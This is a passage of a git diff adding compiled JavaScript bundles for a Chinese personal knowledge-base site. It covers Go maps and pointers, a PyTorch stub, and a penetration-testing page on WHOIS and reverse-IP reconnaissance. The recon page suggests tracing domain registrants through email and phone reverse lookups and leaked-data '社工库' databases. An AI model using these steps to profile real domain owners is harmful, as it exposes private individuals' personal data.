key)\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u5176\u4e2d\uff0c"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"map:\u8868\u793a\u8981\u5220\u9664\u952e\u503c\u5bf9\u7684map"}),"\n",(0,r.jsx)(e.li,{children:"key:\u8868\u793a\u8981\u5220\u9664\u7684\u952e\u503c\u5bf9\u7684\u952e"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u793a\u4f8b\u4ee3\u7801\u5982\u4e0b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'func main(){\n\tscoreMap := make(map[string]int)\n\tscoreMap["\u5f20\u4e09"] = 90\n\tscoreMap["\u5c0f\u660e"] = 100\n\tscoreMap["\u5a1c\u624e"] = 60\n\tdelete(scoreMap, "\u5c0f\u660e")//\u5c06\u5c0f\u660e:100\u4ecemap\u4e2d\u5220\u9664\n\tfor k,v := range scoreMap{\n\t\tfmt.Println(k, v)\n\t}\n}\n'})}),"\n",(0,r.jsx)(e.h2,{id:"\u6309\u7167\u6307\u5b9a\u987a\u5e8f\u904d\u5386map",children:"\u6309\u7167\u6307\u5b9a\u987a\u5e8f\u904d\u5386map"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'func main() {\n\trand.Seed(time.Now().UnixNano()) //\u521d\u59cb\u5316\u968f\u673a\u6570\u79cd\u5b50\n\n\tvar scoreMap = make(map[string]int, 200)\n\n\tfor i := 0; i < 100; i++ {\n\t\tkey := fmt.Sprintf("stu%02d", i) //\u751f\u6210stu\u5f00\u5934\u7684\u5b57\u7b26\u4e32\n\t\tvalue := rand.Intn(100) //\u751f\u62100~99\u7684\u968f\u673a\u6574\u6570\n\t\tscoreMap[key] = value\n\t}\n\t//\u53d6\u51famap\u4e2d\u7684\u6240\u6709key\u5b58\u5165\u5207\u7247keys\n\tvar keys = make([]string, 0, 200)\n\tfor key := range scoreMap {\n\t\tkeys = append(keys, key)\n\t}\n\t//\u5bf9\u5207\u7247\u8fdb\u884c\u6392\u5e8f\n\tsort.Strings(keys)\n\t//\u6309\u7167\u6392\u5e8f\u540e\u7684key\u904d\u5386map\n\tfor _, key := range keys {\n\t\tfmt.Println(key, scoreMap[key])\n\t}\n}\n'})}),"\n",(0,r.jsx)(e.h2,{id:"\u5143\u7d20\u4e3amap\u7c7b\u578b\u7684\u5207\u7247",children:"\u5143\u7d20\u4e3amap\u7c7b\u578b\u7684\u5207\u7247"}),"\n",(0,r.jsx)(e.p,{children:"\u4e0b\u9762\u7684\u4ee3\u7801\u6f14\u793a\u4e86\u5207\u7247\u4e2d\u7684\u5143\u7d20\u4e3amap\u7c7b\u578b\u65f6\u7684\u64cd\u4f5c\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'func main() {\n\tvar mapSlice = make([]map[string]string, 3)\n\tfor index, value := range mapSlice {\n\t\tfmt.Printf("index:%d value:%v\\n", index, value)\n\t}\n\tfmt.Println("after init")\n\t// \u5bf9\u5207\u7247\u4e2d\u7684map\u5143\u7d20\u8fdb\u884c\u521d\u59cb\u5316\n\tmapSlice[0] = make(map[string]string, 10)\n\tmapSlice[0]["name"] = "\u5c0f\u738b\u5b50"\n\tmapSlice[0]["password"] = "123456"\n\tmapSlice[0]["address"] = "\u6c99\u6cb3"\n\tfor index, value := range mapSlice {\n\t\tfmt.Printf("index:%d value:%v\\n", index, value)\n\t}\n}\n'})}),"\n",(0,r.jsx)(e.h2,{id:"\u503c\u4e3a\u5207\u7247\u7c7b\u578b\u7684map",children:"\u503c\u4e3a\u5207\u7247\u7c7b\u578b\u7684map"}),"\n",(0,r.jsx)(e.p,{children:"\u4e0b\u9762\u7684\u4ee3\u7801\u6f14\u793a\u4e86map\u4e2d\u503c\u4e3a\u5207\u7247\u7c7b\u578b\u7684\u64cd\u4f5c\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-go",children:'func main() {\n\tvar sliceMap = make(map[string][]string, 3)\n\tfmt.Println(sliceMap)\n\tfmt.Println("after init")\n\tkey := "\u4e2d\u56fd"\n\tvalue, ok := sliceMap[key]\n\tif !ok {\n\t\tvalue = make([]string, 0, 2)\n\t}\n\tvalue = append(value, "\u5317\u4eac", "\u4e0a\u6d77")\n\tsliceMap[key] = value\n\tfmt.Println(sliceMap)\n}\n'})})]})}function d(n={}){const{wrapper:e}={...(0,s.R)(),...n.components};return e?(0,r.jsx)(e,{...n,children:(0,r.jsx)(o,{...n})}):o(n)}}}]); \ No newline at end of file diff --git a/en/assets/js/eb9c329d.acd2c2f9.js b/en/assets/js/eb9c329d.acd2c2f9.js new file mode 100644 index 0000000..5d7c358 --- /dev/null +++ b/en/assets/js/eb9c329d.acd2c2f9.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6834],{28453:(e,n,t)=>{t.d(n,{R:()=>o,x:()=>r});var s=t(96540);const i={},l=s.createContext(i);function o(e){const n=s.useContext(l);return s.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function r(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(i):e.components||i:o(e.components),s.createElement(l.Provider,{value:n},e.children)}},42654:(e,n,t)=>{t.r(n),t.d(n,{assets:()=>c,contentTitle:()=>r,default:()=>a,frontMatter:()=>o,metadata:()=>s,toc:()=>h});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/WHOIS-IP\u53cd\u67e5\u67e5\u8be2","title":"WHOIS-IP\u53cd\u67e5\u67e5\u8be2","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/01.\u4fe1\u606f\u6536\u96c6/01.\u8d44\u4ea7\u6536\u96c6/01.\u4e3b\u57df\u540d\u6536\u96c6/03.WHOIS-IP\u53cd\u67e5\u67e5\u8be2.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/01.\u4fe1\u606f\u6536\u96c6/01.\u8d44\u4ea7\u6536\u96c6/01.\u4e3b\u57df\u540d\u6536\u96c6","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/WHOIS-IP\u53cd\u67e5\u67e5\u8be2","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/WHOIS-IP\u53cd\u67e5\u67e5\u8be2","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/01.\u4fe1\u606f\u6536\u96c6/01.\u8d44\u4ea7\u6536\u96c6/01.\u4e3b\u57df\u540d\u6536\u96c6/03.WHOIS-IP\u53cd\u67e5\u67e5\u8be2.md","tags":[],"version":"current","sidebarPosition":3,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u8bc1\u4e66\u67e5\u8be2","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/\u8bc1\u4e66\u67e5\u8be2"},"next":{"title":"google\u67e5\u8be2","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/google\u67e5\u8be2"}}');var i=t(74848),l=t(28453);const o={},r=void 0,c={},h=[{value:"\u6ce8\u518c\u90ae\u7bb1",id:"\u6ce8\u518c\u90ae\u7bb1",level:3},{value:"\u6ce8\u518c\u4eba\u3001\u7535\u8bdd\u53f7",id:"\u6ce8\u518c\u4eba\u7535\u8bdd\u53f7",level:3},{value:"\u6ce8\u518c\u65f6\u95f4-\u8fc7\u671f\u65f6\u95f4",id:"\u6ce8\u518c\u65f6\u95f4-\u8fc7\u671f\u65f6\u95f4",level:3},{value:"\u6ce8\u518c\u5546",id:"\u6ce8\u518c\u5546",level:3},{value:"\u5386\u53f2\u67e5\u8be2",id:"\u5386\u53f2\u67e5\u8be2",level:3},{value:"IP\u53cd\u67e5",id:"ip\u53cd\u67e5",level:2},{value:"\u6709\u4f55\u4f5c\u7528",id:"\u6709\u4f55\u4f5c\u7528",level:3},{value:"\u5982\u4f55\u67e5\u8be2",id:"\u5982\u4f55\u67e5\u8be2",level:3}];function d(e){const n={a:"a",blockquote:"blockquote",code:"code",h2:"h2",h3:"h3",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,l.R)(),...e.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsxs)(n.table,{children:[(0,i.jsx)(n.thead,{children:(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,i.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,i.jsx)(n.tbody,{children:(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"left"},children:(0,i.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,i.jsx)(n.td,{style:{textAlign:"left"},children:"2025-08-19 16:40:48"})]})})]}),"\n",(0,i.jsxs)(n.blockquote,{children:["\n",(0,i.jsx)(n.p,{children:"[!TIP]"}),"\n",(0,i.jsxs)(n.p,{children:[(0,i.jsx)(n.strong,{children:"whois"})," \u662f\u7528\u6765\u67e5\u8be2\u57df\u540d\u7684IP\u4ee5\u53ca\u6240\u6709\u8005\u7b49\u4fe1\u606f\u7684\u4f20\u8f93\u534f\u8bae\u3002\u7b80\u5355\u8bf4\uff0cwhois\u5c31\u662f\u4e00\u4e2a\u7528\u6765\u67e5\u8be2\u57df\u540d\u662f\u5426\u5df2\u7ecf\u88ab\u6ce8\u518c\uff0c\u4ee5\u53ca\u6ce8\u518c\u57df\u540d\u7684\u8be6\u7ec6\u4fe1\u606f\u7684\u6570\u636e\u5e93\uff08\u5982\u57df\u540d\u6240\u6709\u4eba\u3001\u57df\u540d\u6ce8\u518c\u5546\uff09\uff0c\u4e0d\u540c\u57df\u540d\u540e\u7f00\u7684Whois\u4fe1\u606f\u9700\u8981\u5230\u4e0d\u540c\u7684Whois\u6570\u636e\u5e93\u67e5\u8be2\u3002\u901a\u8fc7whois\u6765\u5b9e\u73b0\u5bf9\u57df\u540d\u4fe1\u606f\u7684\u67e5\u8be2\uff0c\u53ef\u4ee5\u5f97\u5230\u6ce8\u518c\u4eba\u7684\u59d3\u540d\u548c\u90ae\u7bb1\u4fe1\u606f\u901a\u5e38\u5bf9\u6d4b\u8bd5\u4e2a\u4eba\u7ad9\u70b9\u975e\u5e38\u6709\u7528\uff0c\u56e0\u4e3a\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u641c\u7d22\u5f15\u64ce\u548c\u793e\u4ea4\u7f51\u7edc\u6316\u6398\u51fa\u57df\u540d\u6240\u6709\u4eba\u7684\u5f88\u591a\u4fe1\u606f\u3002"]}),"\n"]}),"\n",(0,i.jsx)(n.p,{children:"\u5e38\u89c1\u7f51\u7ad9\uff1a"}),"\n",(0,i.jsxs)(n.blockquote,{children:["\n",(0,i.jsxs)(n.p,{children:["Whois\u7ad9\u957f\u4e4b\u5bb6\u67e5\u8be2\uff1a",(0,i.jsx)(n.a,{href:"http://whois.chinaz.com/",children:"http://whois.chinaz.com/"})]}),"\n",(0,i.jsxs)(n.p,{children:["\u963f\u91cc\u4e91\u4e2d\u56fd\u4e07\u7f51\u67e5\u8be2\uff1a",(0,i.jsx)(n.a,{href:"https://whois.aliyun.com/",children:"https://whois.aliyun.com/"})]}),"\n",(0,i.jsxs)(n.p,{children:["Whois Lookup \u67e5\u627e\u76ee\u6807\u7f51\u7ad9\u6240\u6709\u8005\u7684\u4fe1\u606f\uff1a",(0,i.jsx)(n.a,{href:"http://whois.domaintools.com/",children:"http://whois.domaintools.com/"})]}),"\n",(0,i.jsxs)(n.p,{children:["Netcraft Site Report \u663e\u793a\u76ee\u6807\u7f51\u7ad9\u4e0a\u4f7f\u7528\u7684\u6280\u672f\uff1a",(0,i.jsx)(n.a,{href:"http://toolbar.netcraft.com/site_report?url=",children:"http://toolbar.netcraft.com/site_report?url="})]}),"\n",(0,i.jsxs)(n.p,{children:["Robtex DNS \u67e5\u8be2\u663e\u793a\u5173\u4e8e\u76ee\u6807\u7f51\u7ad9\u7684\u5168\u9762\u7684DNS\u4fe1\u606f\uff1a",(0,i.jsx)(n.a,{href:"https://www.robtex.com/",children:"https://www.robtex.com/"})]}),"\n",(0,i.jsxs)(n.p,{children:["\u5168\u7403Whois\u67e5\u8be2\uff1a",(0,i.jsx)(n.a,{href:"https://www.whois365.com/cn/",children:"https://www.whois365.com/cn/"})]}),"\n",(0,i.jsxs)(n.p,{children:["\u7ad9\u957f\u5de5\u5177\u7231\u7ad9\u67e5\u8be2\uff1a",(0,i.jsx)(n.a,{href:"https://whois.aizhan.com/",children:"https://whois.aizhan.com/"})]}),"\n"]}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.code,{children:"\u7ad9\u957f\u4e4b\u5bb6\uff1awhois.chinaz.com"})}),"\n",(0,i.jsx)(n.h3,{id:"\u6ce8\u518c\u90ae\u7bb1",children:"\u6ce8\u518c\u90ae\u7bb1"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{children:"1.\u6ce8\u518c\u90ae\u7bb1\n2.\u53cd\u67e5\n\t\t1.\u57df\u540d\n\t\t2.\u6ce8\u518c\u8005\u3001\u7535\u8bdd\n\t\t3.dns\n\t\t4.\u6ce8\u518c\u65f6\u95f4\u3001\u8fc7\u671f\u65f6\u95f4\n"})}),"\n",(0,i.jsx)(n.h3,{id:"\u6ce8\u518c\u4eba\u7535\u8bdd\u53f7",children:"\u6ce8\u518c\u4eba\u3001\u7535\u8bdd\u53f7"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{children:"1.\u6ce8\u518c\u4eba\u53cd\u67e5\n2.\u793e\u5de5\u5e93\n"})}),"\n",(0,i.jsx)(n.h3,{id:"\u6ce8\u518c\u65f6\u95f4-\u8fc7\u671f\u65f6\u95f4",children:"\u6ce8\u518c\u65f6\u95f4-\u8fc7\u671f\u65f6\u95f4"}),"\n",(0,i.jsx)(n.h3,{id:"\u6ce8\u518c\u5546",children:"\u6ce8\u518c\u5546"}),"\n",(0,i.jsx)(n.h3,{id:"\u5386\u53f2\u67e5\u8be2",children:"\u5386\u53f2\u67e5\u8be2"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{children:"1.\u4ee5\u524d\u7684\u624b\u673a\u53f7\n2.\u4ee5\u524d\u7684\u57df\u540d\n"})}),"\n",(0,i.jsx)(n.h2,{id:"ip\u53cd\u67e5",children:"IP\u53cd\u67e5"}),"\n",(0,i.jsx)(n.h3,{id:"\u6709\u4f55\u4f5c\u7528",children:"\u6709\u4f55\u4f5c\u7528"}),"\n",(0,i.jsx)(n.p,{children:"\u76ee\u6807\u591a\u4e2a\u57df\u540d\u53ef\u80fd\u7ed1\u5b9a\u5728\u540c\u4e00IP\u4e0a\uff0c\u901a\u8fc7IP\u53cd\u67e5\u4e00\u5b9a\u60c5\u51b5\u4e0b\u53ef\u83b7\u53d6\u5230\u5176\u4ed6\u7684\u57df\u540d\u4fe1\u606f\u3002"}),"\n",(0,i.jsx)(n.h3,{id:"\u5982\u4f55\u67e5\u8be2",children:"\u5982\u4f55\u67e5\u8be2"}),"\n",(0,i.jsxs)(n.blockquote,{children:["\n",(0,i.jsx)(n.p,{children:"[!TIP]"}),"\n",(0,i.jsxs)(n.ul,{children:["\n",(0,i.jsx)(n.li,{children:(0,i.jsx)(n.a,{href:"http://s.tool.chinaz.com/same",children:"\u540cIP\u7f51\u7ad9\u67e5\u8be2\uff0c\u540c\u670d\u52a1\u5668\u7f51\u7ad9\u67e5\u8be2 - \u7ad9\u957f\u5de5\u5177"})}),"\n",(0,i.jsx)(n.li,{children:(0,i.jsx)(n.a,{href:"https://dnslytics.com/",children:"Online investigation tool - Reverse IP, NS, MX, WHOIS and Search Tools"})}),"\n"]}),"\n"]}),"\n",(0,i.jsx)(n.p,{children:"\u8f93\u5165\u76f8\u5173\u7684\u57df\u540d\u6216IP\u5730\u5740\u5373\u53ef\u67e5\u8be2\u3002"}),"\n",(0,i.jsx)(n.p,{children:(0,i.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191640865.png",alt:"image-20221223205015934"})})]})}function a(e={}){const{wrapper:n}={...(0,l.R)(),...e.components};return n?(0,i.jsx)(n,{...e,children:(0,i.jsx)(d,{...e})}):d(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/edd11672.b2c158fa.js b/en/assets/js/edd11672.b2c158fa.js new file mode 100644 index 0000000..ae84bb7 --- /dev/null +++ b/en/assets/js/edd11672.b2c158fa.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4295],{28453:(e,t,n)=>{n.d(t,{R:()=>i,x:()=>d});var s=n(96540);const r={},l=s.createContext(r);function i(e){const t=s.useContext(l);return s.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function d(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(r):e.components||r:i(e.components),s.createElement(l.Provider,{value:t},e.children)}},82177:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>c,contentTitle:()=>d,default:()=>a,frontMatter:()=>i,metadata:()=>s,toc:()=>o});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/10.3 \u56fe\u50cf\u5206\u5272","title":"10.3 \u56fe\u50cf\u5206\u5272.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/10.3 \u56fe\u50cf\u5206\u5272.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/10.3 \u56fe\u50cf\u5206\u5272","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/10.3 \u56fe\u50cf\u5206\u5272","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/10.3 \u56fe\u50cf\u5206\u5272.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"10.2 \u76ee\u6807\u68c0\u6d4b.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/10.2 \u76ee\u6807\u68c0\u6d4b"},"next":{"title":"LSTM\u89e3\u8bfb\u53ca\u5b9e\u6218.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/LSTM\u89e3\u8bfb\u53ca\u5b9e\u6218"}}');var r=n(74848),l=n(28453);const i={},d="10.3 \u56fe\u50cf\u5206\u5272.md",c={},o=[];function h(e){const t={h1:"h1",header:"header",img:"img",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,l.R)(),...e.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(t.header,{children:(0,r.jsx)(t.h1,{id:"103-\u56fe\u50cf\u5206\u5272md",children:"10.3 \u56fe\u50cf\u5206\u5272.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(t.table,{children:[(0,r.jsx)(t.thead,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(t.tbody,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.td,{style:{textAlign:"left"},children:(0,r.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(t.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:41"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(t.table,{children:[(0,r.jsx)(t.thead,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(t.tbody,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.td,{style:{textAlign:"left"},children:(0,r.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(t.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,r.jsx)(t.h1,{id:"103-\u56fe\u50cf\u5206\u5272\u7b80\u4ecb\u8865\u5145\u4e2d",children:"10.3 \u56fe\u50cf\u5206\u5272\u7b80\u4ecb\uff08\u8865\u5145\u4e2d\uff09"})]})}function a(e={}){const{wrapper:t}={...(0,l.R)(),...e.components};return t?(0,r.jsx)(t,{...e,children:(0,r.jsx)(h,{...e})}):h(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/efcf50a7.f202c0da.js b/en/assets/js/efcf50a7.f202c0da.js new file mode 100644 index 0000000..400b91c --- /dev/null +++ b/en/assets/js/efcf50a7.f202c0da.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[2950],{1090:(n,e,c)=>{c.r(e),c.d(e,{assets:()=>a,contentTitle:()=>r,default:()=>h,frontMatter:()=>t,metadata:()=>i,toc:()=>d});const i=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6307\u9488","title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u6307\u9488","description":"\u4efb\u4f55\u7a0b\u5e8f\u6570\u636e\u8f7d\u5165\u5185\u5b58\u540e\uff0c\u5728\u5185\u5b58\u90fd\u6709\u4ed6\u4eec\u7684\u5730\u5740\uff0c\u8fd9\u5c31\u662f\u6307\u9488\u3002\u800c\u4e3a\u4e86\u4fdd\u5b58\u4e00\u4e2a\u6570\u636e\u5728\u5185\u5b58\u4e2d\u7684\u5730\u5740\uff0c\u6211\u4eec\u5c31\u9700\u8981\u6307\u9488\u53d8\u91cf\u3002","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/08.GoLang-\u6307\u9488.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6307\u9488","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6307\u9488","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/08.GoLang-\u6307\u9488.md","tags":[],"version":"current","sidebarPosition":8,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u5207\u7247","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5207\u7247"},"next":{"title":"map","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-map"}}');var s=c(74848),l=c(28453);const t={},r="Go\u8bed\u8a00\u57fa\u7840\u4e4b\u6307\u9488",a={},d=[{value:"\u6307\u9488\u5730\u5740\u548c\u6307\u9488\u7c7b\u578b",id:"\u6307\u9488\u5730\u5740\u548c\u6307\u9488\u7c7b\u578b",level:2},{value:"\u6307\u9488\u53d6\u503c",id:"\u6307\u9488\u53d6\u503c",level:2},{value:"new\u548cmake",id:"new\u548cmake",level:2},{value:"new",id:"new",level:3},{value:"make",id:"make",level:3},{value:"new\u4e0emake\u7684\u533a\u522b",id:"new\u4e0emake\u7684\u533a\u522b",level:3}];function o(n){const e={code:"code",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",ul:"ul",...(0,l.R)(),...n.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(e.header,{children:(0,s.jsx)(e.h1,{id:"go\u8bed\u8a00\u57fa\u7840\u4e4b\u6307\u9488",children:"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u6307\u9488"})}),"\n",(0,s.jsx)(e.p,{children:"\u4efb\u4f55\u7a0b\u5e8f\u6570\u636e\u8f7d\u5165\u5185\u5b58\u540e\uff0c\u5728\u5185\u5b58\u90fd\u6709\u4ed6\u4eec\u7684\u5730\u5740\uff0c\u8fd9\u5c31\u662f\u6307\u9488\u3002\u800c\u4e3a\u4e86\u4fdd\u5b58\u4e00\u4e2a\u6570\u636e\u5728\u5185\u5b58\u4e2d\u7684\u5730\u5740\uff0c\u6211\u4eec\u5c31\u9700\u8981\u6307\u9488\u53d8\u91cf\u3002"}),"\n",(0,s.jsxs)(e.p,{children:["\u6bd4\u5982\uff0c\u201c\u6c38\u8fdc\u4e0d\u8981\u9ad8\u4f30\u81ea\u5df1\u201d\u8fd9\u53e5\u8bdd\u662f\u6211\u7684\u5ea7\u53f3\u94ed\uff0c\u6211\u60f3\u628a\u5b83\u5199\u5165\u7a0b\u5e8f\u4e2d\uff0c\u7a0b\u5e8f\u4e00\u542f\u52a8\u8fd9\u53e5\u8bdd\u662f\u8981\u52a0\u8f7d\u5230\u5185\u5b58\uff08\u5047\u8bbe\u5185\u5b58\u5730\u57400x123456\uff09\uff0c\u6211\u5728\u7a0b\u5e8f\u4e2d\u628a\u8fd9\u6bb5\u8bdd\u8d4b\u503c\u7ed9\u53d8\u91cf",(0,s.jsx)(e.code,{children:"A"}),"\uff0c\u628a\u5185\u5b58\u5730\u5740\u8d4b\u503c\u7ed9\u53d8\u91cf",(0,s.jsx)(e.code,{children:"B"}),"\u3002\u8fd9\u65f6\u5019\u53d8\u91cf",(0,s.jsx)(e.code,{children:"B"}),"\u5c31\u662f\u4e00\u4e2a\u6307\u9488\u53d8\u91cf\u3002\u901a\u8fc7\u53d8\u91cf",(0,s.jsx)(e.code,{children:"A"}),"\u548c\u53d8\u91cf",(0,s.jsx)(e.code,{children:"B"}),"\u90fd\u80fd\u627e\u5230\u6211\u7684\u5ea7\u53f3\u94ed\u3002"]}),"\n",(0,s.jsxs)(e.p,{children:["Go\u8bed\u8a00\u4e2d\u7684\u6307\u9488\u4e0d\u80fd\u8fdb\u884c\u504f\u79fb\u548c\u8fd0\u7b97\uff0c\u56e0\u6b64Go\u8bed\u8a00\u4e2d\u7684\u6307\u9488\u64cd\u4f5c\u975e\u5e38\u7b80\u5355\uff0c\u6211\u4eec\u53ea\u9700\u8981\u8bb0\u4f4f\u4e24\u4e2a\u7b26\u53f7\uff1a",(0,s.jsx)(e.code,{children:"&"}),"\uff08\u53d6\u5730\u5740\uff09\u548c",(0,s.jsx)(e.code,{children:"*"}),"\uff08\u